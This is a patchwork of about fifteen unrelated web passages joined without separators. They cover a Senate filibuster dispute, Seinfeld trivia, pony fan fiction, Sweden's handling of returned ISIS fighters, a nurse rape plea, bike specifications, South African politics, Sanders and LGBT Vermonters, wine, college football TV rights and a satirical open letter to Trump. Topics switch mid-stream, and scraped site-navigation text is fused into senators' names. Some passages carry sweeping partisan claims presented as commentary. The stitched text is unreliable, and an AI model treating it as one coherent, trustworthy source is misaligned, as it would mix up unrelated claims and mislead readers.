Grassley, who will make a presentation at the Tuesday meeting, acknowledged he doesn’t know how it will turn out and admitted he’s open to persuasion.
Democrats said the change was needed to preempt GOP obstructionism, and the shift has made it much easier for Democrats to approve many of Obama’s nominations.
Reid’s staff pounced on Hatch’s comments as validation that they were right to make the change.
“Sen. Hatch’s op-ed is just the latest evidence that perhaps Republicans’ objections to the rules change were more about the self-serving politics of the moment than principle all along,” Adam Jentleson, Reid’s spokesman, wrote in a note to reporters.
Republicans on the other side of the debate, however, warn that if the GOP adopts the change, it could lead to further cuts to minority rights in the Senate going forward.
“Any diminution of the right to filibuster a nominee means someday there’s a greater chance of getting rid of the legislative filibusters. Once you go down that road the next step is to get rid of the filibuster for legislation,” said one Senate GOP aide.
A group of Senate Democrats tried to convince colleagues at the start of the 113th Congress to implement the talking filibuster, which would require lawmakers to actively hold the floor to block legislation. Such a reform would make it much more arduous for the minority to use its leverage.
Three Republicans angling for the presidency — Sens. Rand Paul Randal (Rand) Howard PaulThe Hill's Morning Report — Emergency declaration to test GOP loyalty to Trump The Hill's 12:30 Report: Trump escalates fight with NY Times The 10 GOP senators who may break with Trump on emergency MORE (Ky.), Ted Cruz Rafael (Ted) Edward CruzTrump unleashing digital juggernaut ahead of 2020 Inviting Kim Jong Un to Washington Trump endorses Cornyn for reelection as O'Rourke mulls challenge MORE (Texas) and Marco Rubio Marco Antonio RubioHillicon Valley: Senators urge Trump to bar Huawei products from electric grid | Ex-security officials condemn Trump emergency declaration | New malicious cyber tool found | Facebook faces questions on treatment of moderators Key senators say administration should ban Huawei tech in US electric grid Trump unleashing digital juggernaut ahead of 2020 MORE (Fla.) — who might stand to gain from keeping the nuclear order have kept a low profile on the question. Their offices declined to comment Monday afternoon on the debate.
The conservative groups most active in the judicial confirmation wars, however, firmly support keeping the simple-majority threshold for nominees.
Carrie Severino, chief counsel to the Judicial Crisis Network, said that restoring the 60-vote threshold for nominees would not bind future Democratic majorities to abide by it.
If you don’t recall which episode of Seinfeld “The Contest” is, then you probably have never seen Seinfeld. But, just to refresh your memory, after George is caught by his mother masturbating, the A-plot concerned a contest between the four main cast members about who could go the longest without self-pleasuring. The episode actually garnered Larry David an Emmy Award for Best Writing, and it launched the catchphrase “Master of my Domain” as a euphemism for masturbation.
Anyway, I have no idea why I was thinking about “The Contest.” I was sitting at home alone, minding my own business, and a memory of that episode popped into my head, and I thought I’d look it up, and see if there was anything interesting about the episode I could pass along, and sure enough, there are a few fun facts about it that are worth mentioning.
1. The original airing of “The Contest,” was seen by about 18.5 million viewers; it was the episode that really and truly helped launch Seinfeld into the ratings juggernaut it became. In fact, the first repeat airing actually was seen by ten million more people than the original airing, which is pretty much unheard of today. The nearly 30 million viewers who watched the rerun is like three times more than saw the Breaking Bad finale, which has to make “The Contest” the most popular rerun of all time.
2. Despite the fact that most of the episode revolved around a masturbation contest, the word “masturbation” was never used in the episode. Euphemisms were used instead: “Master of My Domain,” “Lord of my Manor,” and “Queen of my Castle.” No one thought that the episode would be aired because of the subject material, but it got through just fine. In fact, Jerry Seinfeld thought that, even if they’d used the word “masturation,” censors would’ve allowed it (the word has been used once before on the series), but part of the reason the episode was so funny is because the word is never used.
3. In fact, the only note the censors gave the show was not to use the word, “Snapple” as a euphemism for masturbation. It’s weird that both that was used as a euphemism, and that the network censors would ask them not to use it.
4. “The Contest” was actually based on an actual masturbation contest that Larry David and Kenny Kramer (the inspiration for Kramer) engaged in. The contest lasted several months. Larry David won.
5. In case you’ve forgotten, George won the contest, or so we thought. George revealed in the series finale that he actually cheated, which made Jerry the legitimate winner. Why did George cheat, Jerry asked him in the finale? “Because I’m a cheater.”
The first time I came to Canterlot was in the 850th year of the Reign of the Royal Sisters. I can't say that the circumstances were perfect: I had no money to my name and my job had taken me to the most expensive city in Equestria. I couldn't complain, since it would be warmer there than in my last position in Stalliongrad. The pay was slightly better, too, but not by much. At least room and board was covered. All that aside, I was excited. Knowing that I was headed for the capital of Equestria, I had only high expectations as the train from Manehattan drew nearer to the Canterlot station.
The train slid into the station, and I stepped out onto the platform. I recognized the director of our Canterlot office, Big Scoop, standing underneath the large clock next to the baggage office. He was the only other earth pony in the station, with an old-fashioned camera prominently featured on his flank.
"Well!" he exclaimed, "Fountain Pen!"
"Good afternoon, sir!" I replied obediently.
"Don't worry, my boy, we're on a first name basis now!"
"Yes, uh, Big Scoop."
"Well, come on! Best to show you around, hm?"
"Of course!"
We left the station and headed in the direction of the castle, which dominated the skyline.
"You see, Fountain Pen," said Big Scoop as we headed down the main boulevard, "Canterlot is a little more tame than most other places. I'm sure you'll be much more comfortable covering the upcoming Grand Galloping Gala than you were during the Stalliongrad bakers' strike, and will certainly have more to eat!"
I couldn't help but shudder remembering the strikes.
"In any case," he went on, "we've done our best to accommodate you. Unfortunately, we are tight on space. We're doing some construction, so your quarters will be, shall we say, cramped." He gave a quick whinny as a group of foals at play nearly ran into us.
"Oh, it can't be so bad," I responded. "I spent most of my time in Stalliongrad outdoors anyway. Anything's an improvement over that."
"I like your optimism!" bellowed Big Scoop as we approached the large white building with the "Manehattan Times: Canterlot Office" sign carved in polished granite above the doorway. "I just hope the construction doesn't take too long, and we have you set up like the high-caliber journalist you are!" he continued as we went through the main entrance. He showed me up the stairs to a beaten wooden door.
"Well, here's your office!" He flung the door open, revealing a windowless room about the size of a cleaning closet with a desk, a manual typewriter, about a dozen reams of paper, plus boxes of assorted supplies stacked upon a wooden shelf on the back wall.
"I know it's a bit Spartan, but it's all we have for now."
"Roomy," I said, in a voice laden with sarcasm, "I love the view."
Last year, the Swedish city of Lund announced that it would provide housing, employment, education and financial support to individuals returning to Sweden after fighting for ISIS.
Local authorities argued that the controversial measures were aimed at reintegrating returned jihadis into society and preventing them from reverting back to their former networks. However, a Swedish newspaper known as the Expressen recently interviewed a number of these so-called ex-terrorists and found that they had difficulty finding jobs – because being a terrorist apparently doesn't look good on a resume.
David Horowitz Freedom Center President Michael Finch contends that the whole idea of rehabilitating terrorists is outrageous.
"There's a tremendous amount of guilt, and you've got Left-wing education – which has kind of dumbed them down,” Finch pointed out. “And they don't believe in their own history anymore, and [they] now take in people who want to destroy you, and you think somehow that [is] going to solve your country’s problems – by just being good or taking in terrorists.”
He maintains that by playing nice with deadly jihadists, Sweden is only exacerbating its existing problem with crime – and therefore shooting itself in the foot.
“They have a tremendous amount of rapes and sexual assaults in Sweden and they look the other way,” Finch noted. “Sweden is just committing suicide."
The conservative leader also stressed that Sweden is perhaps the worst country in Europe when it comes to dealing with the Islamic invasion problem.
“I failed as a professional,” said Candace A. Seelbinder, 35, of Niagara Falls, who admitted to third-degree rape in the case before Niagara County Judge Matthew J. Murphy III.
State law says patients in substance abuse facilities are considered unable to legally consent to sex.
Another nurse at the First Step facility, Jessica Griffin, 39, of Tonawanda, was allowed to plead guilty to a misdemeanor and was placed on six years’ probation in December. Seelbinder was offered only a felony plea because there were two men allegedly involved, although defense attorney Brian J. Hutchison said Tuesday that Seelbinder admits to sleeping with only one.
A civil suit filed Feb. 6 against the two nurses and Northpointe Council, the operator of the facility, contends that there actually were three men who had sex with the nurses. The suit contends that between Feb. 18 and March 9, 2016, Griffin and Seelbinder also used to let the patients use drugs, drink, leave the facility, and use phones and computers in violation of the building’s rules.
The suit, filed by Buffalo attorney Brittany Lee Penberthy, seeks an unspecified amount of damages for emotional trauma and negligence, as well as punitive damages.
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Dallas Cowboys owner Jerry Jones has gone for the gauntlet claiming any Cowboy’s player that disrespects the flag will not play. Jones said this last year and we originally reported on it and now he’s doubled down on that statement. Mike Finger is a columnist of the San Antonio Express-News sports department and had these tweets following today’s game:
Jerry Jones just said any Cowboys player who "disrespects the flag" won't be allowed to play. — Mike Finger (@mikefinger) October 9, 2017
So, by Jerry’s definition, is taking a knee during the National Anthem showing “disrespect” to the flag? — Dale Robertson (@sportywineguy) October 9, 2017
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After the loss to the Packers, Cowboys owner Jerry Jones said any player who disrespects the flag during the anthem will not play. pic.twitter.com/WR9acLq4r8 — FOX 4 Sports (@KDFWsports) October 9, 2017
To this point, there has been no Cowboys player who has taken a knee during the National Anthem and all eyes will be on the team for the rest of the year.
SEP 25, 2017 – UPDATE TO ORIGINAL STORY PUBLISHED August 1, 2017
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In electronics, a jiffy is the time between cycles of alternating current, or about 1/60th of a second. (if you’ve ever heard an electrical device humming, that’s at the speed of a jiffy)
In computers, a jiffy is the basic “tick” of the system processor. It varies, but is commonly in the neighbourhood of 1/250th of a second.
In physics (of the astro- and quantum variety) a jiffy is specifically defined as the time it takes light to travel 1 centimetre. That would be 0.000,000,000,033,300 seconds.
Jiffy has also been bandied about as another term to describe the Planck interval. (the theoretically shortest possible length of time) That’s about 0.000,000,000,000,000,000,000,000,000,000,000,000,000,000,054 seconds… give or take.
In addition to the wider tires, the geometry of the Guide series is a bit more relaxed and upright for long days in the saddle and fully loaded touring.
There's plenty of room inside the front triangle for a large frame bag
Mongoose Guide features
Tectonic T2 aluminum frame
29 x 1.75in tires
Stash Pack frame bag
Relaxed geometry
Internal cable routing
2-ring drivetrain
Disc brakes
Sizes: 52, 54, 56, 58cm
Mongoose Guide Expert
Mongoose's Guide series is for dirt road exploration and bikepacking
At the top of the line, the Guide Expert comes with a carbon fork and 12mm thru-axles on both ends. Providing the push to the horizon is a Shimano 2x11-speed 105 drivetrain spun by FSA Gossamer cranks. The gearing is 48/32 x 11-32.
WTB STP i19 wheels are on board and wrapped with Kenda Slant Six 29 x 1.75in tires. Shimano BR-RS805 flat-mount disc brakes provide the stopping power.
$1,799, UK and Australian pricing TBD
Mongoose Guide Comp
The top two Mongoose Guide bikes come with hydraulic Shimano disc brakes and carbon thru-axle forks
The Guide Comp slots into the middle of the range. A mix of Shimano Sora and Tiagra derailleurs powered by FSA Omega cranks make up the 2x10-speed gearing with a range of 48/32 x 11-32.
Shimano hydraulic BR-S405 flat-mount disc brakes provide control for the WTB STP i19 wheels with Kenda Slant Six 29 x 1.75in tires.
$1,299, UK and Australian pricing TBD
Mongoose Guide Sport
The base model Guide Sport features cable-actuated disc brakes and an 18-speed Shimano drivetrain
The Guide series starts with the Sport.
Drivetrain duties bump down from its more expensive siblings with a Shimano Sora 2x9 drivetrain and Samox cranks.
Interestingly, even with less gearing, the range is a bit broader with 48/32 chainrings and a 11-34 cassette.
According to the newspaper, Maphatsoe defended his actions, stating that he had run away from the Uganda camp due to unbearable conditions. He said he left because of excessive punishment, poor conditions, and inadequate food.
'I am not a sell-out'
“My escape was for good intention. I am not a sell-out,” he said adding that he had wanted to report the matter to senior ANC leaders in South Africa.
However, when asked how he lost his arm, he reportedly said it was during the escape - when Ugandan soldiers shot him.
Previously there have been two different versions. In one version, he said it was following a car accident and in another, he said a hand grenade had exploded while he had been holding it.
But the Sunday Times investigation found he had instead been shot while deserting Ngoma camp. After being shot, he spent time in a hospital before being expelled from the camp.
Madonsela apology
However, Maphatsoe refused to comment on the issue of him calling Madonsela a CIA agent. He said the matter was “sub judice” as she was considering his letter of apology, reported the Sunday Times.
According to a report last week, the deputy defence minister had accused Madonsela of being a spy, insinuating she worked for the US Central Intelligence Agency (CIA).
Madonsela's office on Monday gave Maphatsoe three days to back his allegations, or issue an apology and retraction. Maphatsoe apologised on Tuesday.
"I made statements in my capacity as the national chairperson on behalf of MKMVA (Umkhonto we Sizwe Military Veterans' Association) about the Public Protector," Maphatsoe said in a statement.
"After consultation with my organisation, the African National Congress, it would seem as though my statements have been misunderstood and misinterpreted.
"I therefore withdraw those statements and apologise for any offences and hurt that would have been caused."
Madonsela was asked whether she feared for her life or that of her family after increasing attacks on her character and actions.
"No, not really. Nobody has seriously, directly threatened me. My family has raised concerns though over being called a traitor, being called a foreign agent," she said.
Hate speech
A member of her team had raised the question that being called a spy was hate speech and incitement to harm.
"When you call somebody a foreign agent, you are inviting others to consider this person an enemy of the people of South Africa.
"And some of them might then assume that that call extends to them defending the country against this foreign agent. And it was the reason we then requested that this should be withdrawn."
Madonsela said on Thursday that she was evaluating the apology.
"Regarding the spy allegations, we have noted the media release by the deputy minister and my team has been helping me [with] evaluating the response," she said in Cape Town.
Bernie Sanders was mayor of Burlington back then. LeMay said she fell in love with the place.
“I was impressed with the open and vocal gay community,” she said. “There was the monthly newspaper, Out In The Mountains, and there were frequent protests and demonstrations with gay themes. This was a new world for me.”
LeMay is founder of The House Of LeMay, a drag performance team she founded in the early ’90s. She is also founder of The League of Drag Queen Voters.
“From what I understand, [Sanders] didn’t do anything specific for the gay community,” said LeMay. “He just treated them like he treated everyone else. He gave opportunities and the gay community took him up on them.”
Gay-rights organizers had planned Burlington’s first pride parade four years before LeMay had arrived in 1983. Many community members and politicians had opposed it. But Sanders, who was in his first term as mayor, vocally backed the parade, citing the right to march as a civil liberties issue.
In a memo written a day before the parade, Sanders wrote, “In our democratic society, it is the responsibility of government to safeguard civil liberties and civil rights—especially the freedom of speech and expression. In a free society, we must all be committed to the mutual respect of each others’ lifestyle.”
Two years after the parade, Sanders signed a city ordinance that further prohibited housing discrimination. The ordinance gave legal protection to the gay community, as well as welfare recipients, the elderly, and the handicapped.
Alana Cleverley is a 29-year-old transgender woman who lives in Montpelier, Vermont’s capital. A few weeks ago, she got a tattoo of Sanders inked on her ankle, in part because of the work Sanders has done for the LGBT community.
“His actions show that he feels that everybody should be treated as equals,” said Cleverley. “Everybody should have equal rights regardless of their situation and regardless of their gender. He has fought for all of that and made it way easier for everybody in the community. Not just for trans people, but for everybody.”
According to Cleverley, Sanders changed attitudes and helped shape Vermont into a more accepting state. She said she feels safer in Vermont than anywhere else.
“I can easily go anywhere designed for females, even though I was not born a female,” said Cleverley. “The fact that we are such a progressive state that allows for that has made my life so much easier.”
In 2015, Cleverley and her then-girlfriend would not hold hands or show affection when they traveled outside Vermont. Another ex of Cleverley’s, who is also trans, lives in Washington. According to Cleverley, her ex struggles with a less accepting community.
“It’s very unique to be able to walk around my own state and be able to date the people I want to date and be able to be the gender I want to be,” Cleverley said. “I know that’s largely in part to all of the work that Bernie has done in the past to get equal rights for everybody in every aspect.”
Some, like 28-year-old African-American trans woman Elena Littlebug of Burlington, argue that Sanders hasn’t done enough for the LGBT community—and for the trans community specifically.
“Neither of the remaining Democratic candidates have spoken to reforming policy that will help secure health care and public accommodations for trans people,” she said. “I’m still waiting to hear acknowledgement that the numbers of [killed] trans women of color are even alarming to these people.”
In 2015, 22 trans women were murdered in America, 19 of whom were trans women of color.
But Cleverley has hopes that if Sanders were to be elected, he would push for nationwide improvement for the lives of those in the trans and the LGBT community.
You can organize your taxes with a little help from mobile apps. Here comes the tax refund!
One of the best ways to ensure that you get the maximum tax refund (if you’re into getting an IRS refund) is to better organize your taxes. Because we live in a digital world, you can keep on top of things with the help of mobile apps.
I recently had an exchange with Lauren Scherr, who works with mobile apps, and shared some ideas for using the following three apps to keep your documents organized this tax season:
“There is an elegance and complexity to these older wines that just doesn’t exist today,” Mr. DeLissio said. “I’m not anti-California. I made my bones on California. But there’s no way the newer wines will age so well. I tasted from 2007 on down into the ’90s, and the alcohol just came out.”
Alcohol levels in wine have risen all over the world in the last 20 years, not just in California. Partly, that’s a result of climate change. But it’s also a result of changes in viticulture, newly available clones of grapevines and rootstocks, evolving cellar practices and, it must be said, an industry response to critics who rewarded riper, more powerful wines with high ratings.
Far more than the critics, Mr. DeLissio said, he blames a timid industry for changing styles in an effort to chase ratings. In assessing these powerful wines, he said he keeps in mind the advice of a mentor, André Tchelistcheff, one of the pioneers of the California wine industry.
“He said to me, ‘Joe, if you can smell the alcohol, it’s too much, if you can taste the alcohol, it’s too much, and as a high-alcohol wine ages, the fruit and acids will drop out, leaving the alcohol,’ ” Mr. DeLissio recalled.
In restocking the cellar, Mr. DeLissio has new priorities. Instead of hard-to-get expensive bottles, he is seeking more reasonably priced, approachable wines that will go better with the food. He said he has rediscovered the range of Burgundy, especially Chablis. He has embraced Champagne, while the joys of Rioja have opened his eyes, like a 2001 Rioja reserva from La Rioja Alta, on the list for $88.
“How great that you can get a 12-year-old aged wine for under $100!” he exclaimed.
The financial windfall from the new college football playoff system is evident already.
ESPN has agreed to pay an average of $80 million a year for the Rose Bowl, industry experts say, which could push the price tag for the playoffs media rights as high as $600 million for an all-in package that includes a championship game, two semifinals and four major bowls each season.
With the new Rose Bowl deal, big increases seem assured for other playoff bowls
ESPN’s deal with the Rose Bowl runs from 2015 through 2026, making it concurrent with the new playoff structure. The Rose Bowl’s new $80 million annual rights fee represents a 167 percent jump from the $30 million the network currently pays.
The Rose Bowl’s partners, the Pac-12 and Big Ten, keep all of that media revenue, except in years when the Rose Bowl is a semifinal game in the playoffs. When the bowl is part of the playoffs, that media revenue would flow through the playoff system and be distributed to all of the FBS conferences. That method of distribution has not been determined yet.
ESPN, the current BCS partner, will get first crack at the championship game and semifinals this fall during a 30-day negotiating window. If a deal can’t be struck, the package would then go to the open market where Fox Sports and other networks will be waiting.
ESPN currently pays $125 million annually for media rights to the BCS championship, in addition to the $30 million it pays for the Rose Bowl.
But by the time ESPN and college playoff officials have their first conversation in September or October, two other bowls, the new Champions and Orange, will have signed their own separate TV contracts. The ACC will handle the rights negotiations for the Orange Bowl, while the SEC and the Big 12 will jointly negotiate the Champions Bowl deal, which means those bowls would not be included in the overall playoff package.
The Champions is expected to generate an annual rights fee similar to the Rose Bowl, while the Orange Bowl value is expected to be less, sources said. It’s hard to put a value on the Orange Bowl now because the ACC does not have a permanent opponent in place for the game, although the conference has had talks with Notre Dame about appearing in the game.
The ideal scenario for the conference commissioners is to keep all of the playoff games and major bowls on the same network, but the open bidding for the Orange and Champions bowl games could complicate matters if another network took one of the games.
“It’s pretty simple if ESPN buys everything,” Pac-12 Commissioner Larry Scott said. “Only when they don’t does it start to get complicated with what happens to the semifinals.”
One of the quirks of the process is that by the time ESPN bids on the playoff package this fall, it already will have a contract with the Rose and could very well have separate contracts with the Orange and Champions. Those individual bowls can freely negotiate with any network, but ESPN has taken an aggressive stance, considering its bid to keep the Rose.
If ESPN locks down those bowls, it will go into the fall negotiations for the playoffs in position to own the new college postseason.
The semifinal games are expected to rotate among a group of bowls — the Rose, Champions, Orange and three others to be determined. The Rose and Champions have not said publicly if they will participate in the new playoff format, but they are expected to provide the venue for the semifinals in two, three or four years in the 12-year cycle. Most commissioners expect the Rose and Champions to be semifinal games in the same years.
The hodgepodge of what eventually will be four separate contracts — one for each of the three bowls, plus the playoffs — illustrates how convoluted the financial side of the new playoff structure remains. While conference commissioners basked in the glow of their playoff announcement last month, that was the easy part. The harder part — determining how the money will be distributed — remains a significant obstacle.
“It’s terribly complex,” said Craig Thompson, commissioner of the Mountain West. “There are a ton of moving parts. Right now, we have more questions than we have answers. When you have different levels of stakeholders and different contracts involved, you just have to work through it and that takes time.”
The Rose, Orange and Champions are considered “contract bowls” because they have contracts with conference partners and those big five conferences are protecting their revenue from those games.
By doing separate TV deals for those three bowls, the ACC, Big Ten, Big 12, Pac-12 and SEC guarantee that a significant portion of TV revenue will flow directly into their coffers and won’t have to be shared with the other conferences.
The TV revenue that comes from the playoff TV package, however, will be shared with the other conferences — the big five, plus the Big East, MAC, Sun Belt, Mountain West and Conference USA.
The commissioners still haven’t determined which bowls will serve as semifinal games.
“Even after the ‘contract’ bowls do their deals, that leaves a lot of inventory in a playoff package,” said ACC Commissioner John Swofford. “It’s still a massive package once you consider the championship games, the semifinals and the other ‘non-contract’ bowls.”
The playoff officials will be represented in media talks by BCS Executive Director Bill Hancock and a pair of consultants, Dean Jordan of Wasserman Media Group and former ESPN executive Chuck Gerber. The conference commissioners, however, will have the final say on accepting a deal or not.
Currently, ESPN and Fox, the two dominant networks in the college space, appear to be the most serious bidders. ESPN fills its schedule with college football throughout the fall and its BCS championship games have generated strong audience numbers. Fox, meanwhile, is planning to launch a weekly schedule of Pac-12 and, likely, Big 12 games on its broadcast network this fall.
NBC is a wild card. The network is expected to kick the tires on the package, but because it does not have as many rights to college football games as ESPN or Fox, it is not expected to be a serious bidder.
College officials hope Turner will be interested in a package, which would serve as a complement to its NCAA men’s basketball tournament rights. But sources don’t expect Turner to make a strong bid because it has no other college football programming.
CBS Sports has a long-term deal to show SEC football, but the network to date has not showed an interest, sources said.
If ESPN and the BCS don’t reach a deal on the playoff package this fall and the games go to the open market, that’s where negotiations will get complicated. With the playoff games and the Rose, Orange and Champions all having separate media contracts, the conferences risk having playoff games split among multiple networks.
For those bigger conferences, though, doing their own deals comes down to money and control.
“For the Rose Bowl, it’s just been understood that a condition of its participation is to maintain its independence and keep the TV deal separate,” Scott said.
Listen up, Donald: as you know, you are on track for losing big time – to Crooked Hillary, no less.
Hillary’s people want voters to think that you stand a chance. Their friends in the media are pulling out all the stops, helping them out. We both know that they are full of it.
That you don’t stand a chance is so obvious that it is becoming hard for them to pretend that you do. Snippets of truth are popping up all over — even in such unlikely venues as NPR, The Washington Post and The New York Times.
Before long, even your most ardent fans will realize that you are about to get schlonged. Then it will happen for real.
You must be feeling conflicted. Everybody knows that you are one shrewd son of a bitch; even with your father’s money, you couldn’t have gotten as rich as you are by being oblivious. However, you also seem to believe your own hype.
And so, you too promote the idea that there is a real contest underway.
You even blabber on, from time to time, as if you were invincible. Doing that, while wondering, along with everybody else, what the hell you are doing running for President is no mean feat.
Unless I am very mistaken, you got yourself into this mess only to boost your brand. You never wanted it to get this far, and you never expected that it would. Surely, you understand that you are not cut out for the presidency. If you don’t, you are a lot less self-aware than I think.
But you “mis-overestimated,” as George W. Bush might say, the dunces you ran against in the primaries. With card-carrying bozos for opponents, the situation got out of hand almost from Day One.
Even so, you should have bowed out while you still gracefully could. Too bad for you that your ego craved the adulation that came your way; too bad too that you couldn’t stand to lose – especially to someone you knew to be inept and second-rate.
You put yourself in a popularity contest, not all that different from your beauty pageants. That was a bad idea: you set yourself up to be slaughtered by one of the least popular politicians in America today. What were you thinking?
The explanation cannot be that you thought you could win while losing, the way you do in real estate. You could hardly fail to realize that this is different. In electoral contests, there are no bankruptcy laws to take advantage of; and no workers, contractors and suppliers to cheat. You cannot shift the costs onto others, enriching yourself in the process.
Losing to Hillary is losing, pure and simple — end of story.
There is the shame of it, of course, but you could probably deal with that, at least to your own satisfaction. You already are by declaring, every chance you get, how the election is rigged against you.
The bigger problem is that you could end up harming the Trump brand. How ironic that would be!
The problem is not just that the kinds of people who buy the gilded crap you peddle don’t want to be associated with a loser. The bigger problem is the persona you will be remembered for projecting.
Your pleasure domes for the filthy rich, your reality TV schtick, and your tabloid escapades helped build your brand. Over-the-top bad taste sells.
But a late sixties – early seventies George Wallace veneer doesn’t sit well with your intended demographic. Parvenus, potentates, and oligarchs don’t want to be associated with the kinds of people who have made you their Fearless Leader. They want people to think they have “class.”
No doubt, you find this latest persona of yours demeaning too.
To get to where you now are, you have had to deal with quite a few bastards and sleazeballs. The real estate world is full of them. Ivanka’s father-in-law is a case in point; back when he was the U.S. Attorney for the District of New Jersey, even your pal Chris Christie saw fit to prosecute him.
You have also dealt with mobsters and with politicians as crooked as Hillary and Bill – in New York, New Jersey, Florida, Nevada, and wherever else you have done business.
But the unlovelies you have had to make nice to once your campaign got going are worse.
Thank Nixon’s Southern Strategy for that; it turned the GOP into a party of lowlifes. These days, even the Clintons hobnob with a better class of people.
With the company you keep, and with all you say and do to keep them on board, is it any wonder that the conventional wisdom has it that Hillary is, by far, the lesser evil?
On trade, job creation, relations with Russia, wars in the Middle East, and so on, your views, as best they can be ascertained, are less retrograde than hers; and you are probably no more racist, nativist or Islamophobic than the average billionaire.
But you do bring out the inner fascist in desperate white people. If they gave a prize for being America’s scariest boogeyman, you’d win hands down.
Do you really want to be thought of that way? Do you like being a laughing-stock in polite (“politically correct”) society?
This is now your future, and there isn’t anything you can do about it. Your money can no longer buy respect for yourself or your brood. Your brand is shot.
But wait – the situation is more complicated and therefore not quite as hopeless as that. You could even still come out on top – not in the foreseeable future, but in the judgment of history.
A lot depends on what you do in the next few weeks.
You have already driven a stake through the heart of the GOP.
If the monster doesn’t recover, you will be remembered for striking a blow against the duopoly party system that is suffocating democracy in the United States. No one in modern times has done more.
The duopoly deprives people of choice on matters of fundamental economic consequence.
The deeper problem, though, is that, under capitalism, economic inequalities spill over into the political sphere.
This happens everywhere to some extent, but the American system is especially susceptible to plutocratic influence. Democrats and Republicans have seen to that.
You are hardly one to campaign against plutocracy. You are a plutocrat yourself – and proud of it.
Are you not therefore amazed, as you gaze down from your multi-story Trump Tower penthouse, that people consider you a “populist?”
A billionaire populist; the very idea is oxymoronic. But in a country that worships wealth and celebrity, it seems almost normal.
Real populists, the kind America produced in the 1890s, would have you in their crosshairs. But you are safe: the populism you inspire targets cultural elites only.
The even odder aspect of it is that, except when you are rabble rousing, you are not affected by that populism yourself. Some of your closest associates are the kinds of people Spiro Agnew used to call “effete intellectual snobs.”
You socialize with them; you invite them, along with the Clintons, to your weddings.
Meanwhile, people who think you’d make a great President have as much chance of getting invited to Mar-a-Lago or to your digs on Fifth Avenue as the man in the moon.
You want them to come to your rallies and to vote for you, but then you want them to go away.
This somehow doesn’t offend them; they also seem not to care that you don’t share their animosities.
Neither do your class brothers and sisters care about the anger you’ve stirred up in the hearts and minds of the riffraff your campaign attracts. So long as their power remains unchallenged, they are fine with it. In their world, greed is all.
People like that, plutocrats, will, as they say of the poor, always be with us – maybe not forever, but for as long as capitalism persists.
The more powerful they are, the less democracy we have. Plutocracy is democracy’s foremost enemy.
Even if you wanted to, which you plainly don’t, you couldn’t change that law of nature, and neither could you change its corollary: that, as a general rule, electoral contests in capitalist societies do more to reinforce the capitalist order than to undermine it.
However, genuinely leftwing political forces in capitalist societies can help ameliorate some of the problems caused by the inequalities that capitalism produces — by instituting measures that keep those inequalities in bounds, and measures that counter the tendency for plutocratic power to spill over into the political sphere.
For roughly the first three decades of the post-World War II era, every developed capitalist country did this to some extent.
By mobilizing support for leaders determined to dust off the old techniques and to bring them up-to-date, a determined populace can do it again. Where there is a will there is a way.
But there is no will – none, anyway, that is politically efficacious — as long as Democrats and Republicans run the show.
This is why undoing their duopoly is the paramount political task of our time.
No doubt, it never crossed you mind to take up that cause. But, without realizing it, that is what you did. If only for this, you will be remembered as an American hero.
History will think especially kindly of you if, thanks to your efforts, the Republican Party expires. But even if a version of it survives, you will still be remembered for showing how vulnerable that part of the duopoly is — and for damaging it profoundly.
You will also be remembered for delivering the coup de grâce to the House of Bush, for humiliating Marco Rubio and a dozen or so other lesser or greater miscreants, and for raining on Ted Cruz’s parade.
Had Bernie Sanders not gone over to the Dark Side — or, as some believe, had he not been there all along — had he instead led his followers out of the Democratic Party, a party that sponsors everything he ostensibly opposed, his contribution might have been as great or greater than yours.
But he did nothing of the kind.
He and his more gullible admirers are still talking the talk. They have even launched a new organization called, of all things, “Our Revolution.” That venture got off to a bad start, and is unlikely to thrive. Whether it does or not, you don’t have to worry about being upstaged. Sanders had a chance to make history, and he blew it.
He will be remembered for showing that there is a progressive impulse in the American electorate that is aching to be expressed, for demonstrating how a presidential campaign can be run without depending on money from the “billionaire class,” for not kowtowing too blatantly to the Israel lobby, and so on. But he has not moved history along, even to the extent that you already have.
The talking heads who do the Clintons yeoman service are now promoting the idea that the Sanders insurgency arose out of the political inexperience and idealistic naivety of the so-called millennial generation — in league with hapless geezers who, like Sanders himself, are impractical dreamers.
Before long, when Hillary’s wars will have made her as reviled in liberal circles as the far more worthy Lyndon Johnson once was, it will be impossible for the people who now think that maybe her politics isn’t that bad to fail to see what condescending nonsense this is. For now, though, the story has legs, and the Clintonites are sticking with it.
For the sake of argument, let’s concede their point: Sanders and the people he inspired, young and old, were dreamers, naïfs.
Even so, nothing they dared dreamed of was as momentous as knocking off the Republican Party.
In fairness to them, it must be said that they did damage the Democratic Party in one respect – they exposed its utter rottenness. But sensible and informed people knew that the party was rotten already; and the fact that its corruption is even more salient now seems to be having little effect.
It is amazing that so many Sanders supporters aren’t more bothered by the fact that the party’s leaders rigged the election for Hillary. Many of them have acquiesced; others, like Sanders himself, are now actively working for Hillary.
Could they be oblivious to the broader picture in much the way that Trump’s “populist” followers are? Or is it their view, and maybe Sanders’ too, that they were cheated fair and square? In either case, how pathetic is that!
Others have emerged from the Sanders debacle sadder but wiser. They realize that, partly thanks to Hillary and Bill, the Democratic Party is, by now, too rotten to be reformed from within; and that it is pointless to try.
Many would-be Democratic voters are therefore beginning to see the wisdom of exiting the party altogether. The more who do, the better for (small-d) democracy.
But with so much effort now being expended promoting the idea that your candidacy poses a clear and present danger, it is unlikely that the numbers of people exercising the exit option will swell enough to make a significant difference November 8.
On that day of infamy, Hillary will win by a landslide; not because a lot of people actually want her to be President, but because they want you to be President even less.
You cannot change that. If you try, if you flip flop like a Clinton or if you soften your talking points, it would probably hurt you more with your base than it would help attract those suburban housewives that Hillary’s talking heads claim you are now trying to win over.
You are crusin’ for a brusin’, Donald; deal with it!
But all is not lost. You could, yet again, do a world of good.
Hegel maintained that, from time to time, world historical figures, individuals who move History along, appear on the world stage. They are moved by their own passions and interests, not by nobler ideals. But thanks to the Cunning of Reason, progress happens – as an unintended consequence of actions performed for other, baser ends.
The world historical figures Hegel had in mind were princes and generals, not real estate moguls or reality TV stars. It now seems that he was wrong about that.
Who knows what passions and interests led you to lock horns with the unlikely coalition of Country Clubbers and Tea Partiers, theocrats and libertarians that the GOP had become. You probably don’t know yourself.
And who cares? You moved History along. The only still unsettled question is by how much.
Now there is something more that you can do – in your own short-term interest again, but also, more directly and whether you care or not, for a more noble reason: for democracy’s sake.
It is a very simple thing that would require almost no effort on your part.
All you need do is demand that the Commission on Presidential Debates, a creature of the Democratic and Republican Parties, concocted for the purpose of keeping the duopoly intact, open the debates to Jill Stein, the Green Party candidate, and Gary Johnson, the candidate of the Libertarian Party.
